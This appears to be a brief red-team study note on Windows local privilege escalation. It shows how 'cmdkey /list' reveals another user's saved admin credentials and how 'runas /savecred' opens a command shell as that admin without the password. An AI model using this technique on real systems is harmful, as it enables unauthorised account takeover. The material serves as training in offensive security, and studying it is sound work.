If our user have saved credentials in the credentials manager that belong to a different user, we can use this credentials without knowing the password.

C:\iron>cmdkey /list

Currently stored credentials:

    Target: Domain:interactive=IRON\admin
    Type: Domain Password
    User: IRON\admin

Then we can run runas using the saved credneitlas

C:\RTO>runas /savecred /user:admin cmd.exe Attempting to start cmd.exe as user "RTO-LPE\admin" ...

A new cmd windows will open as the user.